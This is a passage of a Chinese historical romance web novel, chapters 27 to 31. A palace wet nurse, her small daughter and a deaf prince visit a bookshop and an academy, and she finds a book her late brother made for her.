也因为这一战,他在朝堂上也渐渐有了些好名声,说他虽然风流,但风骨犹在,他那些色心,不过是有男人都有的喜好罢了,不值一提。说的人多了,竟也渐渐有人吹捧起他来,他也越加得太后器重。 崔敏过去推了他一把:“你欺负他听不到,所以故意气他是不是!你不准再说话。” 霍寻安啪的一声合上扇子,抿紧了嘴。 谢砚凛掸了掸被霍寻安碰过的袖子,大步往外走去。他不管霍寻安当年为何愿意死战, “对了,那个奶娘呢?”崔敏拿了本册子出来,握在手里晃动:“我让宫里的御厨专门给黯儿写了个食谱,让她按这册子来做菜。她一个乡野来的村妇,做的都是一些粗俗的菜式,千万别把黯儿给吃瘦了。” “来人,把册子送去。”谢老夫人说道。 “算了,我们过去一趟。我要当场看她做一次菜。若做得不好,就得好好罚她。如此,她方能尽心服侍黯儿。黯儿是明珠姐姐与大公子唯一的血脉,咱们都得更仔细些才好。”崔敏说道。 “也好,你去吧。黯儿看重她,你与她多熟悉,也好知道黯儿养得怎么样。”谢老夫人点头道。 “安王,走吧。”崔敏拉着崔寻安就走。 方嬷嬷看着二人的背影,小声道:“老夫人,这两人成天在一起,不会……” “安王有心,崔敏恋着我们砚凛。”谢老夫人皱着眉道:“可惜砚凛也不喜欢崔敏。可我们王府子嗣单薄,只要再起一次祸乱,只怕是……” “起码可以证明王爷身子是好的。”方嬷嬷安慰道。 “嗯。”谢老夫人叹气:“他不懂我的苦心,等他到了我这般年纪,就会知道子嗣有多么重要了。” …… 王府花园。 沈姝带着锦宝儿在摘花,她想做鲜花甜糕给小公子。小公子用不了大补的膳食,吃的东西口味太淡,所以用鲜花入菜既好看,又不会太甜。 王府园子里的花不多,大都是玉兰树,再就是些寻常的菊、月季。谢老夫人自打没了大儿子,便不太喜欢进园子逛,更偏爱拜佛念经。谢砚凛对园子也没兴趣,所以府上花匠只种了些寻常花卉,并且开得也不多。 母女二人寻了好半天,在一株藤罗花前停下了脚步。 “好漂亮。”锦宝儿踮起脚尖,伸着小手去摸成串垂下来的花朵。 第27章 酸意,青丝 “这叫藤罗花。”沈姝摘下一小串藤罗花给锦宝儿,让她坐在一边的石头上玩。 藤罗花用糖腌制之后做馅,口感又香又软又甜。小时候沈府的嬷嬷常做给她吃。 那时她千娇百宠,吃一口饼都有好多人伺候着。如今她要带着小女儿一起给别人家的孩子做美味的饼,她的宝儿还从未吃过那般香甜的鲜花饼呢。 今日她想多做一些,让锦宝儿的小嘴巴也尝到甜甜的藤罗花。 “娘亲,好看的。”锦宝儿摘了一小朵淡紫色小花,放到自己的耳朵上面,仰着小脸冲着沈姝笑。 “好看的。”沈姝笑着说道。 清瘦的手摘了一串又一串花,整齐地放在篮子里,放了小半个篮子后,她停了下来,捧起一串花看。 “娘亲?”见沈姝不动了,锦宝儿站起来,轻轻地摇了摇她的裙摆。 沈姝朝锦宝儿笑笑,拿起花剪剪掉一小缕青丝,缠在那串藤罗花上,再把花串放到树枝上,合起双手虔诚祈祷。 “今生无缘,望安好。”她轻声念道。 锦宝儿见状,也合上了小手,朝着埋着花的小土包拜了拜。 “大叔快来看宝儿吧!”锦宝儿奶声奶气地许愿。 沈姝这时看到了从前面走过的谢砚凛,赶紧捂住了她的嘴。 “嘘……”她朝着锦宝儿摇头。 锦宝儿歪了歪小脑袋,顺着沈姝的视线往前看。 是王爷啊! 她马上就把一双小手搭到了额前,曲膝行礼:“给王爷请安。” 沈姝又好笑又心酸,进府时她叮嘱过锦宝儿要讲规矩,可没想到她会如此讲规矩! 她的锦宝儿,本不用向任何人行礼!那小院子虽破了些,可是她能自由自在地在院子里种萝卜,种花,还能撒欢地跑。 现在只能步步跟在她的身后,不敢乱走一步,看到人还要次次行礼。 谢砚凛在那边停住了,他往这边看了看,抬步走了过来,视线扫过了那串缠了青丝的花串,不露声色地把锦宝儿抱了起来。 沈姝这才行了个礼,轻声道:“王爷总是抱着宝儿,不合规矩。” “我就是规矩。”谢砚凛扫她一眼,抬步就走。 袖子扫过那青丝花串,带落几片花瓣,在风里轻舞。青丝缠花,这可不是普通的祈祷,只有夫妻,或者情人之间才会有如此举动。宝儿方才叫的是大叔,并不是爹爹,所以她祈愿的人不是陈义。 莫非,那就是锦宝儿的亲生父亲?沈姝这些年到底经历了什么,既然宝儿爹活着,为何要用陈义打掩护? 他缓步走着,心思千转,已有了无数猜想。最终却是惋惜,锦宝儿怎么就不能是他的?沈姝怎么就不能是四年前那女人? 沈姝不敢怠慢,连忙拎起篮子跟了上去。可走着走着,她便觉得路不对,这不是回主院的路。 “王爷去哪里?”她紧赶几步,走到了他身边。离得近他才听得见,所以她不得不跑近一些。 “办事。”谢砚凛回道。 角门处已经停了一驾马车,卫昭在马车前守着。 “沈娘子,崔敏和霍寻安要考你厨艺,只怕会百般刁难,王爷懒得和他们说话,索性带你和宝儿一起,去书院接小公子。”卫昭笑呵呵地说着,把登车小凳放到马车前。 沈姝这才明白过来,谢砚凛是怕和崔敏接触多了,被认出来。他这人心思还挺细腻的,作为雇主,也很照顾她这外来的婢女。 若没有昨晚的事,她想她现在应该很乐意与他同坐一驾马车,并且诚心地向他道谢。 沈姝坐在角落里,假装整理篮子里的花串。 锦宝儿趴在谢砚凛的腿上,仰着头和他说话。 “王爷哥哥,小公子哥哥,还有宝儿,我们三个是好朋友。”她一根根地立起手指。 沈姝想上前捂住她的小嘴巴。 这不是乱了辈分吗? “王爷哥哥,你欢喜不欢喜?当我娘亲的儿子,我娘亲天天亲你的脸哦。”锦宝儿手指在自己的小脸上点了点,又嘬了嘬了小嘴。 沈姝的头埋得更低了,她比任何时候都希望谢砚凛的耳朵一点声音都听不到…… 虽然这心愿不地道,可除了这样,她想象不到还有什么能掩饰她的尴尬。 “不用,”谢砚凛把锦宝儿抱到膝上,拿起小几上的茶盏喝了口润喉药茶,这才继续道:“不用她亲。” 他若真想,他会把沈姝抓过来,如昨晚一般肆意碾夺那唇间之香。 可谢砚凛不会做强迫女人的事。 他才不像四年前那个女人一样,他不肯张嘴,那女人就直接抠开他的嘴巴,强行把药给他塞进去。 他皱了皱眉,把那画面赶开。 一开始过程实在不美妙,他觉得自己像段木头,被女子又掐又捏,直到那女子后来罗裙轻拢,腰肢轻摇…… 若是沈姝,她应该不会那般……强迫他。 长指握住茶盏,又饮了一口茶,喉结滑动间,那隐隐起来的燥热感终于压了下去。昨晚吻过她的记忆深得离谱,那甜软的感觉仿佛现在还停在他的唇上,以至于一向自认控制力强悍的他,此时也有些燥动。 锦宝儿抬手摸了摸他的耳朵,又摸他的额头,大声道:“会好的!” 谢砚凛怔了一下。 “王爷哥哥的耳朵一定会好的。”锦宝儿伸出双手,大声道:“宝儿问过神仙啦,神仙说会好的,会长壮壮!” 谢砚凛嘴角不禁扭起一弯笑。这孩子,真是会说话,不过三岁多的年纪,怎会说这么多话?应该是遗传的她娘亲,沈姝的嘴巴就很厉害。 谢砚凛看向了沈姝,她假装整理花串,不时悄悄看他这儿。平常那般冷静如静湖的人儿,这时候连耳都是红的,视线撞上他,立刻露出惊恐之色,慌乱地收了回去。 谢砚凛唇角的笑立马消失了。 沈姝这是什么表情?他昨晚并非有意,而且最后他也克制住了,她为何还要这副见了鬼的表情。 退一万步讲,他,谢砚凛,真不能让她的心蹿一蹿? 马车此时停了下来,沈姝赶紧起身往外走。 “没到呢,沈娘子。”卫昭见她出来,赶紧说道:“是给小公子买新出的画本子。” 沈姝定睛一瞧,还真是个书铺。 她小时候极爱看书,还会躲着爹娘和哥哥看些禁书,秀才小姐之类的,还有狐狸精与书生……她已经很久、很久没有看过书了。 生存艰难,看书早成了奢侈的事。 “我能进去看看吗?”她柔声问道。 “能啊,当然能!沈娘子想给宝儿买书,我出钱。”卫昭爽朗地笑道。 砰砰…… 马车里传来了叩击声,打断了卫昭的憨笑。他转头看向马车窗子,谢砚凛修长白皙的手推在车窗上,露出他小半张清冷绝艳的脸,那眼神盯着他,冷得吓人。 卫昭咽了咽唾沫,有些困惑。他是不是寻错书铺了?不然谢砚凛干吗这样瞪他? 第28章 擦手,胭脂 “进去吧。”卫昭想不明白谢砚凛为何瞪他,索性不想了。 反正这主子性子乖戾,卫昭从来都猜不着他的心思。而且他看着高贵矜持,其实手段辛辣得很,远不是外人看到的这般雅致无争。卫昭只要确定谢砚凛不会要他的脑袋就行了。 他一手扶着腰间的长刀,大大咧咧地带着沈姝进去。 书铺里林立着书架,正中间摆的是朝廷大考要考的六书,围着六书又有诗词歌赋,再往四周铺散开水利工耕。 卫昭要找的孩童画本在里间,书铺的掌柜很会做生意,这里间不仅有书架,还放了蒲团,小桌,一些零嘴。几个半大的孩子正趴在小桌前津津有味地看书。 沈姝看着孩子们,又觉得谢砚凛实在有本事,短短四年,便能让京中恢复至此。 “沈娘子你识得些字,你来瞧瞧,这几本小公子可会爱看?”卫昭拿着几本新出的画本,招呼沈姝过去。 沈姝闻言慢步走了过去,刚想接过来,谢砚凛那只修长漂亮的手便抢先一步夺过了画本。 “王爷。”卫昭有些惊讶,平常都是他进来挑几本,谢砚凛压根不下马车。 谢砚凛撩了撩眸子,拿着画本,抱着锦宝儿坐到了小桌前。 那几个半大孩子看向谢砚凛,见他俊脸阴沉,气场冷峻,当即就扔掉手里画本撒腿跑了,有一个甚至快吓哭了,眼泪包在眼睛里,一边跑一边哼唧。 锦宝儿费解地看着那些孩子,奶声奶气地问道:“这些哥哥怎么了?” “他们看完了,回家。”谢砚凛回道。 锦宝儿点点小脑袋,一副理解的样子:“真乖啊,早早回家。” 卫昭乐了,伸手就要摸锦宝儿的小脑袋:“咱们宝儿也乖……” 可他的手还没碰到宝儿,谢砚凛抄起书啪的一下拍开了他手,刹那间,宽大的手掌现出一片红。 谢砚凛打他!他竟然打他!卫昭傻眼了,他怎么得罪谢砚凛了,为什么打他! “那属下出去侯着。”他摸着手,郁闷地走了出去。 他得和外面守卫的伙计们谈一谈,今日到底做错了什么事,让谢砚凛这么讨厌他。 沈姝没发现这边的动静,她仰头看着书架最上方的一排书,心跳越来越快。那一排最边上贴了书标,有个她再熟悉不过的书名《狐狸》。 那是她二哥亲手写的画本子。 她偷看狐狸精和俊秀才的故事被二哥发现了,二哥就给她专写了个画本子,写的是狐狸精化身沈姝的坐骑,带她去四处玩。 这种画本子自然是卖不出去的,只是没想到竟还有书铺在卖。 她踮起脚尖去拿那书,手指在货架上摸了好几下都没能拿到。这时鼻尖钻进了一缕冷香,宽大的袖子从她脸颊扫过,从顶上拿下了那本书。 “多谢王爷。”沈姝一喜,连忙伸出双手去接。 谢砚凛只瞧了她一眼,便拿着画本子坐回了原处,一只手很自然地挡在锦宝儿的身后,免得她从凳子上摔下去。 锦宝儿这时正拿了个桌上的零嘴吃。 这是一盘香酥花生,每一颗都裹着酥香的外皮,看着就诱人。她捏着圆滚滚的一颗放进小嘴巴里,嚼吧嚼吧,又拿一颗放进小嘴巴里,眼睛亮亮的,注意力完全不在沈姝那边。 倒底是个孩子,爱吃是天性。 沈姝又往书架上看,那是唯一一本《狐狸》,再想看,就只能凑到他身边去。 罢了,等他过个眼瘾,她便把书买下来。 沈姝伸手在身上摸了摸,发现自己一个铜板都没带。她今日不知道会临时出府,所以不可能带钱。 “卫大人,借我点钱。”她快步出去,朝卫昭求援。 “借什么,想买什么尽管拿,我出钱!”卫昭的大掌砰砰地往胸膛上拍。 另几个侍卫看着卫昭,都笑了起来。 “给锦宝儿买东西,我们卫将军欢喜得很。” “就是就是,卫将军求之不得。” 卫昭被众人笑得有些不好意思,赶紧拿出钱袋给沈姝。 “喏,随便花!”他说道。 沈姝打开钱袋,择了最小的一块,向卫昭道了谢,快步回到书铺里。她方才明白侍卫们在笑什么,卫昭是好人,可她并无此意。她觉得今日之后,和卫昭也得保持些距离才好。 “掌柜,我想买那本狐狸。”沈姝找到掌柜,把银子递给他。 “方才那位公子已经买下了。”掌柜笑着摇头:“想不到啊,这书竟然也会有人买。” “这书很好啊。”沈姝有些懊恼,她转头看向谢砚凛,觉得他就是故意的。 可他为什么要针对她呢?是不是因为她昨晚看到他失态的样子?所以用这种法子逼她走?若是他赶她走,谢黯肯定不乐意,可如果沈姝自己走,谢黯便不会怪谢砚凛了。 沈姝觉得谢砚凛真是莫名其妙,她都没怨他趁着药性占她便宜,他怎么好意思针对她。 算了,每个月三十两月例…… 她忍。 再怎么着也要撑过这个月,赚了这三十两再说。 她垂眉敛目地走进去,坐到了小桌对面,看着沈宝儿吃东西。她已经吃了小半碟子的香酥花生了,小手上沾了好些花生沫,油油的。 沈姝连忙拿出帕子,准备给锦宝儿擦手。千万别擦到谢砚凛身上,她可赔不起他这身锦衣华袍。 帕子刚伸过去,谢砚凛的手先伸了过来。 他的指尖上也沾了花生沫。 沈姝拿袖子隔着他的手腕,稳稳地托住他,这才给他擦干净手指。 谢砚凛看着她白皙的手指尖在眼前晃去,先前在马车上那种燥热感又悄悄蹿了蹿。 “好吃的。”锦宝儿终于吃得心满意足了,摸着自己的小肚皮,笑眯眯地看沈姝:“王爷哥哥请锦宝儿吃花生!” “不是哥哥。”沈姝纠正她,她可生不出这么大的儿子! “嗯嗯,不是哥哥,”锦宝儿用力点小脑袋,小脸一仰,大声道:“是王爷哥哥!” 她真的很开心很开心,而且吃饱了,也有力气,才会这样大声说话。平常在外人面前都像小猫儿一样,细声细气,乖乖巧巧。可在谢砚凛面前,她竟露出了调皮的本性。 沈姝看着她,心里一阵难受。锦宝儿跟着她吃太多苦了,所以才会那么乖巧。往后她一定要再努力一些,让她当一个快乐的宝宝。 “这是香玉坊寄卖的胭脂,公子今日买的书多,我送公子一盒。”掌柜把谢砚凛买的书包好,又拿了盒胭脂出来递给谢砚凛:“这位姑娘绝色,点上胭脂,定会更加添彩。” 第29章 喜欢,偷看 谢砚凛一手握着书,一手抱着锦宝儿,转头朝沈姝看去。 掌柜立刻会意,把胭脂递给了沈姝。 沈姝已经许久没有擦过胭脂了。上一回擦胭脂还是十六岁那年,她被敬事房的太监捆去,数名婢女把她摁在浴桶里,浑身上下搓洗干净,给她穿上石榴红的肚兜,白色亵裤,再给她抹上艳丽的胭脂,扛着她去见先帝。 这是沈姝第二次感到无法描述的耻辱。第一次像狗一样被牵进深宫,第二次是像牲口一样被推去侍寝。 那一回她真以为自己逃不掉了,不想东宫突然传出太子咳血的噩耗,先帝没了宠幸她的心思,她逃过了一劫。也就是这一次,她下定决心要逃出深宫。 所以,胭脂对沈姝来说,不是好东西。 她向掌柜讨要了一张牛皮纸,将胭脂盒子包得严严实实的,上了马车后便放到了箱子上。 谢砚凛看着她垂在额角的一缕发,沉思了片刻,翻开手中的一本书。 这是本风土纪情,其中详细记载了鹊山风土习俗。鹊山男女有用青丝束花相赠的习俗,也会用此物向上苍祈祷能与恋人相聚。 谢砚凛合上书,手掌在马车窗子上轻叩一声,随即将书从车窗丢了出去。他此时有点儿泄气,本来还对锦宝儿的身世存了些幻想,可如今看来,那红痣可能真是巧合。 “王爷不看了?”卫昭在马车窗外稳稳地接住了书,随口说了句。 “王爷他很厉害,他看完啦。”锦宝儿趴在车窗上,笑眯眯地看卫昭。 卫昭乐了,从怀里摸出一只红色的提线小木马,“叔刚给宝儿买的,拿着。” 锦宝儿伸出小手,一把握住了小木马,欣喜地道谢:“谢谢卫大叔。” “乖宝儿,叔明天再给你买好东西,你和你娘亲想要什么,都告诉我。”卫昭咧着嘴,笑得开怀。 锦宝儿用力点着小脑袋,乐呵呵地捧着小木马爬回沈姝怀里。 “娘亲,你看,小木马。”她拉着木马上的细绳,在沈姝腿上跑小马。 沈姝微弯着脖子,温柔地看着锦宝儿。 “宝儿喜欢卫大叔,娘亲你喜欢不喜欢?”锦宝儿玩着小木马,奶声奶气地问道。 “嗯,喜欢。”沈姝有些犹豫,可还是点头了。宝儿得了小木马正高兴,她不想让宝儿扫兴。 而且她对卫昭就是喜欢一个好人那种喜欢,卫昭憨厚善良的人,人又开朗,对宝儿又好,若非她有罪奴的身份桎梏,她还真想交他这个朋友。 “王爷,送你小木马。”锦宝儿玩了半天,又去找谢砚凛。 谢砚凛今日带她逛书铺,还请她吃香酥花生,她对谢砚凛的喜欢已经到了新高度,现在就想把小木马送给谢砚凛。 “不用。”谢砚凛抬手,挡开小木马,语气生硬。 锦宝儿很敏感地察觉到谢砚凛心情不佳,她歪着小脑袋,眨着大眼睛,认真地看了他一眼,把小木马放开了,爬到椅子上,抡起小拳头给他捶胳膊。 “王爷你闭上眼睛,锦宝儿帮你捏胳膊。”她奶呼呼地说道。 “坐好。”谢砚凛还是拒绝,把胳膊从锦宝儿的小手里抽了出来。 锦宝儿眼看那丝滑的绸子从她的手心里抽走,有些失望地爬下凳子,拿着小木马,一步三回头地回到了沈姝面前。 “王爷累了。”沈姝把锦宝儿抱到怀里,小声哄她。 锦宝儿偷偷瞄了一眼谢砚凛,手拢在嘴边,压轻了声音说道:“王爷没有累,王爷不高兴。” “不管他。”沈姝侧过身子,挡住谢砚凛的视线,轻拍着锦宝儿的背,压低声音说道:“宝儿乖乖睡会儿。” 锦宝儿在沈姝怀里拱了几下,奶呼呼地说道:“锦宝儿想管王爷。” 她顿了顿,又闷闷不乐地说道:“锦宝儿管不到。” 他是王爷啊,她已经知道王爷是多大的官了,她又不是皇帝,管不到王爷。 “睡吧,宝儿。”沈姝轻轻拍着锦宝儿背,温柔地哼起了小曲。 锦宝儿一大早就醒了,跟着她做早膳,采花,又去书铺,被沈姝这样一哄,忍不住打了一个哈欠,小嘴巴咂了咂,窝在沈姝怀里睡着了。 沈姝用自己的袖子盖住她小小的身体,调整了一下坐姿,让她躺得更舒服些。 “为什么不要?”谢砚凛拿起柜子上那只包得严实的胭脂,看着沈姝。 “奴婢用不上胭脂,王爷拿回府另赏别人吧。”沈姝道。 谢砚凛把胭脂放回去,凝视了她一会,哑声道:“喜欢卫昭?” 沈姝怔了一下,没想到他会问得如此直接。她有些窘迫,连忙摇头。 “王爷莫要误会,是宝儿喜欢,我不想扫她的兴。” 谢砚凛紧绷的背瞬间放松了一些,他喉结沉了沉,哼了一声,又拿起一本书翻开看。 这书,正是沈姝二哥的那本《狐狸》。 沈姝忍不住地看向他手里的书,琢磨着用什么法子把书要来。她付钱买也行,比书铺卖得贵也行……她真的想要这本书。 “喜欢狐狸?”谢砚凛把书封翻过来,看看书名,哑声问。他听侍卫说过锦宝儿狐狸尾巴的事,觉得这是沈姝教她的,因而,他判断沈姝喜欢狐狸。 沈姝不知如何回答,若她说喜欢狐狸,他会不会把书送她?思及此处,她便点头认了。 “喜欢。”她道,看着谢砚凛的眼睛亮晶晶的,全是期待。 谢砚凛合上书,随手放回箱子里,合上眼睛休息。 沈姝:…… 戏弄她呢?问了半天他怎么还把书给藏起来了。 罢了,她也不要了,就想看一眼!看一眼二哥留给她的书,她就心满意足了。 她小心翼翼地把锦宝儿放到座位上,用垫子挡住她的小身子,然后猫着腰慢慢摸到箱子前,双手扶着箱子盖,轻轻往上抬起。 箱子里装了不少东西,堆得还有些杂乱。多是谢黯的棋子,画本,还有木头雕琢的小剑。新买的那一叠画本和《狐狸》就丢在箱子一角。 沈姝静静地看着那本侧倒在箱子角落的书,过了好一会儿,轻轻地合上了箱子。毕竟是他买的东西,未经他的许可,她不好拿出来。 “想要就拿走。”谢砚凛的声音响了起来。 沈姝飞快转头看向他,他不知何时已经睁开了眼睛,就这么看着她。 “多谢王爷。”沈姝立刻应声,掀开箱盖把书拿了出来。她轻抚着书封,慢慢地掀开了第一页。 泛黄的纸页上面画了三只狐狸,一只大一些,撑了把大花伞,骄傲地扬着头。这是大哥。 一只稍小,歪着脑袋,眯着眼睛,嘴里叼着一颗桃。这是二哥。 最小的那只戴了朵小花,咧着嘴笑。这是沈姝。 沈姝掩住唇,眼泪倏然掉落。 这竟是二哥手写的原本!三只狐狸正是沈姝亲手画的。 第30章 泪珠,摸她 一颗、两颗……眼泪突然成串地落了下来。 眼看落在书上,泅湿了书页,沈姝赶紧把书放在箱子上,用袖子在脸上用力地擦。 可是越擦她越忍不住,三只狐狸在她的脑海里化成了当年兄妹三人的模样。 她好像又听到了大哥撑着伞,站在廊下唤她:姝儿,莫晒着,快过来。 她又看到了二哥手里托着一只圆滚滚的水蜜桃,骄傲地朝她笑:最大的一个桃,姝儿拿去。 那是父亲生辰,出了很大的太阳,沈妹跟着二哥去园子看戏。她跑得满身是身,大哥撑着伞寻了过来,唤她过去。等她钻进大哥的伞下,二哥已经给她拿了最大的一只寿桃…… 沈姝这几年很少哭,她知道哭很没用,解决不了任何事。 她记得脖子被套上铁链时,母亲对她说的话,好好活,不要哭……她更得大哥二哥被禁军打断腿,满地的血,抬头看她时却还强忍着痛,朝她笑。 沈姝把脸上的泪擦干,又去用袖子擦落在书上的眼泪。 书存放得年月太久了,只一滴泪渍,只她轻轻一擦,那纸就破了…… 三只狐狸碎裂开来,缺口处卷起边,碎成沫。 沈姝呜地一声就哭出了声。 怎么就破了呢?她就不该碰的,只要它好好呆在箱子里,它就会一直完整地留存下去! 突然,一只手臂从她身后伸来,抓住她颤抖的双手,将她的身子转过来,用力摁在怀里。 沈姝没反抗,她就这么趴在他的腿上,用力地吸气,想要把泪憋回去。 宝儿醒来看到她红着眼睛,她该怎么说?宝儿今天过得很开心,她不想让宝儿难过。 背上,谢砚凛的手掌轻轻地落下,就像她哄小公子和宝儿时一样,不紧不慢,不轻不重。 “多谢王爷。”沈姝的背一僵,慌忙坐直腰,抬手擦脸。 她失态了!怎么能趴在谢砚凛的腿上哭呢? 谢砚凛若误会她故意引诱又该怎么办? “想哭就哭。”谢砚凛捏着她的下巴,将她的脸轻轻抬起来。 沈姝双睫轻轻颤了颤,小声道:“不想哭了。” 谢砚凛捏着她的下巴不放,另一只手抬起来,拇指轻轻擦过她的眼下,泪水还在往下淌,哪见半分不想哭的样子。 “娘亲在干什么?” 锦宝儿不知何时爬了起来,她摇摇晃晃走到二人面前,探过小脑袋,好奇地看着沈姝。当看到沈姝脸上的泪时,一双圆眼睛立刻睁开了,她抱住了沈姝,仰起小脸看谢砚凛。 “王爷你在罚我娘亲吗?我娘亲很认真地干活,王爷为什么要罚娘亲呢?”她有点儿生气,小脸都鼓了起来。 “王爷没有罚我,”沈姝搂住她的小身子,挤出笑容安慰她:“娘亲只是……想拢烟姑姑了。” “可是他刚刚捏娘亲的脸,把娘亲都捏哭了。”锦宝儿还是瞪着谢砚凛。 “那是摸。”谢砚凛面无表情地解释。 “啊,你为什么要摸我娘亲的脸呢?”锦宝儿小嘴巴张大,一脸疑惑地问道:“你同意当我娘亲的儿子了?” 只有当娘亲的儿子,才能摸娘亲的脸啊!所以他就把娘亲的脸捏疼了! “不是……我没有……”谢砚凛被小姑娘给绕晕了,他实在无法理解小姑娘为什么有这样的怪异念头。 “宝儿的大眼睛都看到啦!”锦宝儿小手往眼睛上拍了拍,又捏住自己的小耳朵,奶呼呼地说道:“耳朵也听到啦!就是摸啦!” 谢砚凛嘴角抽了抽,他好像说错话了,不该说那个摸字。 “晚上和你解释好不好?”沈姝实在没法子,只好先稳住她。 “娘亲每天都很认真地干活,王爷不能欺负娘亲。”锦宝儿转过小脑袋,气呼呼地看谢砚凛,怎么能趁她睡着了把娘亲欺负哭呢? 谢砚凛微不可察地吸了口气,他竟然对一个小奶团子束手无策,还真是好笑。 马车此时缓缓停下,已经到了书院门口。 卫昭过来把锦宝儿和沈姝接下去,谢砚凛最后才从马车出来。他理了理衣衫,朝锦宝儿伸出手。 锦宝儿仰着小脸,一双小手搭在额前给谢砚凛行礼,奶呼呼地说道:“宝儿自己走。” 还和他堵上气了。谢砚凛收回手,看向了沈姝。沈姝垂眉敛目地站在一边,没有要帮他说话的意思。他拧拧眉,抬步往书院大门走去。 沈姝蹲下来和锦宝儿交代进书院后的事,要跟紧她,不能跑丢了。 锦宝儿连连点头,她拉着沈姝发裙摆,一步一步地往台阶上迈,小发包上戴的水红色小头花跟着她的步子轻轻颤动着,看着十分可爱。 卫昭和几个侍卫跟在她身后,越看越喜欢。 “宝儿,叔抱你走好不好?”卫昭问锦宝儿。 锦宝儿摇摇小脑袋,大声说:“宝儿自己走!” “你走得慢,会落下的。”卫昭又说道。 锦宝儿往前看了看,见谢砚凛已经走到了前面,立刻用力迈起了一双小脚丫。 “宝儿可以自己走。”她给自己鼓劲。 前面,谢砚凛的步子缓了下来,他停在一株茶花树前,抬手拉着一枝花细看。 锦宝儿仰起小脸看那株茶花树,小嘴巴张大了。这茶山是名品,每一朵都有碗口大,花瓣层层叠叠,将娇嫩的花蕊藏在花瓣深处。 “漂亮的。”她激动地点头,踮起脚尖去看花。 谢砚凛把花递给沈姝,弯腰把锦宝儿抱起来,让她去看枝头开得最好的一朵。 “漂亮的!漂亮的!”锦宝儿乐得合不拢嘴,凑近了去闻花香。她想把这些花都摘下来,戴在娘亲的头发上,这样就不会有人嫌弃娘亲只有一支钗子了! 她小心地伸出小手儿,轻轻地摸了摸山茶花,然后转过小脸看谢砚凛,眨巴着大眼睛,想要提出摘花的要求。 可是,她刚刚才决定不和谢砚凛亲近了,现在要漂亮的花,会不会不好呀? 谢砚凛长眉微扬,指尖落在那朵开得最好的花上:“这朵?” 锦宝儿深深地吸了一口气,握紧了小拳头,大声道:“宝儿不要!宝儿会帮卫大叔干活,给卫大叔捏肩膀!宝儿挣钱买花花!” 谢砚凛:…… 第31章 吃醋,喂食 谢砚凛的手僵在那朵茶花上,半晌后才撤下来,指尖捏着锦宝儿的小脸,一字一顿地说道:“我,没有欺负你娘亲。” 锦宝儿拉开谢砚凛的小手,转过小脸看沈姝。 “真的没有。”沈姝摇头,柔声道。 “宝儿要想想。”锦宝儿从谢砚凛怀里下来,再度攥紧了沈姝的裙摆。 谢砚凛:…… 小东西还挺有主见,只信自己的眼睛和耳朵。 “山长大人来了。”卫昭这时朝着前方行了个礼。 沈姝往前看去,来人穿了一身鸦青色锦袍,长身玉立,凤眸温柔,也是一张熟面孔。 他是叶浸尘。叶家百年大儒之家,祖上出过三位帝师,门生遍布天下。叶浸尘是叶家这一辈里最出挑的一个,不过他不愿入仕,从十六岁起就呆在饮鹿书院,很少与人结交。 谢砚凛转身看向叶浸尘,淡然地点点头。 叶浸尘也只是微微一笑,上前来折了一根细枝,在地上写字。 “今日教授育苗养花,谢黯在花圃。” 谢砚凛看完字,哑声道:“去接谢黯。” 他一向不在那些学生面前出现,以免学生们害怕。 沈姝这才反应过来,是让她去接谢黯,于是赶紧行了个礼,带着锦宝儿往深处走。 叶浸尘的视线这才落在沈姝身上,凤眸眯了眯,露出几分讶然之色。 “这位娘子是……”他低声问。 “叶山长别看了,那是我们小公子的奶娘。”卫昭有些不高兴了,伸出大掌在叶浸尘眼前晃了晃。 叶浸尘依然只是笑笑,双手拢在袖中,低声道:“美人骨傲自有香,风中落,掌中藏。” “喂喂喂,叶山长你过了啊!”卫昭不乐意了,瞪着叶浸尘小声嚷嚷。 谢砚凛这时才转头看了叶浸尘一眼,眼神带了莫名的威胁之意。 “在下知错。”叶浸尘行礼,唇角的笑意却不浅。 谢砚凛没搭理他,转身往前面的石亭走去。前几日他来接谢黯,在等下课时拿了本诗集看,最后翻看的那一页,正是叶浸尘念的这句。 卫昭跟上谢砚凛,小声嘀咕:“还以为叶山长真的不近女色,原来全是装的,王爷你刚瞧见没,他差点没把沈娘子的脸给盯出个洞!” 谢砚凛嘴角抿了抿,没打断卫昭。 卫昭扭头看了一眼,见叶浸尘竟还站在原地往沈姝走的方向走,更不乐意了,小声骂道:“臭小子,那拳头大的色心都快钻出他的脑门了!还看、还看!” 谢砚凛皱眉,转头看卫昭:“你在生什么气?” 卫昭愣了一下,赶紧解释:“沈娘子是小公子的奶娘,可不能被拐走了。” “呵。”谢砚凛冷笑,加快步子往前走去。 卫昭也不知他冷哼什么,所以不敢再骂叶浸尘,他又瞪了一眼叶浸尘,这才大步如风地跟紧了谢砚凛。 此时沈姝已经到了茶花林的尽头,这里便是饮溪书院的花圃。 走进拱门,只见一群小少年正挽着裤腿,光着脚,用小花锄在地里刨坑。谢黯在最里面的位置,背着沈姝这边,正认真地把一株小花苗种在土里。 “宝儿也会种花花。”锦宝儿大眼睛一眨不眨地看着那些孩子,乐呵呵地说道。 沈姝把她放下来,让她蹲在花圃边看。锦宝儿从来不乱跑,所以沈姝不担心。她小心地搂起小裙摆,蹲在花圃前一小丛花苗前,好奇地看着绿油油的小苗。 “哪来的乞丐孩子,谁放进来的?”这时一个约莫七八岁的男孩子走过来,嫌弃地看着锦宝儿。 好些孩子都听到了他的声音,围拢过来看锦宝儿。 “锦宝儿不是乞丐,是小侍女!”锦宝儿站起来,双手搭在额头给他们行礼。 “原来是个奴才。”男孩嗤笑一声,又看沈姝:“喂,你是谁家的奴婢,知道规矩吗?女子不得入内,谁许你进来的!” “这位小少爷,我们是凛王府的人,来接小公子。”沈姝把锦宝儿护在身后,尽量语气柔和地向男孩解释。 这些孩子都出身权贵,个个娇生惯养,她不想招惹是非。 “淑姨,宝儿妹姝。”谢黯过来了,他小脸上沾着汗,大步走向沈姝和锦宝儿。 “小公子哥哥。”锦宝儿又朝他行礼。 谢黯拉住她的小手,拿出锦帕给她擦掉小脸上的汗,小声哄道:“你别怕。” “谢黯,看来你真的失宠了。以前都是凛王身边的卫昭来接你,如今他亲儿子回来了,就给你指了两个贱婢跟着。”男孩子趾高气扬地说道。 锦宝儿虽然不能完全听懂他在说什么,可是她听到贱婢两个字了,娘亲说过,这两个不好! “好孩子不能骂人唷,骂人会变蛤蟆精。”锦宝儿一脸认真地说道。 男孩正想冲宝儿发火,可对上谢黯那冰冷的眼神,于是不怀好意地说道:“谢黯,我劝你最好对我恭敬点,今时不比往日,你小叔有亲儿子了。而你,不过是个克死父母的扫把星……” 